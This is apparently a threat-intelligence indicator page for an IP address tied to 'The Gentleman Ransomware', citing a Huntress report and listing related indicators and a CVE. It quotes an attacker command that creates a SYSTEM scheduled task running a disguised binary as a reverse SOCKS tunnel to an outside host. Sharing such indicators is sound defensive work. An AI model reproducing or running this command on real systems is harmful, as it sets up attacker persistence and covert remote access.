77.110.122[.]137IP address
Reported by 1 independent source · first reported by Huntress · last reported
Last reported 5 months ago
What the reports say
1 report, newest first · the exact sentence from each-
The Gentleman Ransomware | Defense Evasion TTPs Uncovered“cmd.exe /C schtasks /create /tn WindowsConnSvc /tr C:\Windows\Temp\svchost32.exe client 77.110.122[.]137:37182 R:1085:socks /sc minute /mo 2 /ru SYSTEM /f > C:\Windows\Temp\RbHoNVNU.tmp 2>&1”
Indicators reported together
named in the same reports- ransomware[.]livein 1 report
- 193.233.202[.]17in 1 report
- f918535f974591ef…5f83195661c8in 1 report
Copy these 3 indicators · defanged
Also named with it: CVE-2024-55591
Thanks — we review every report.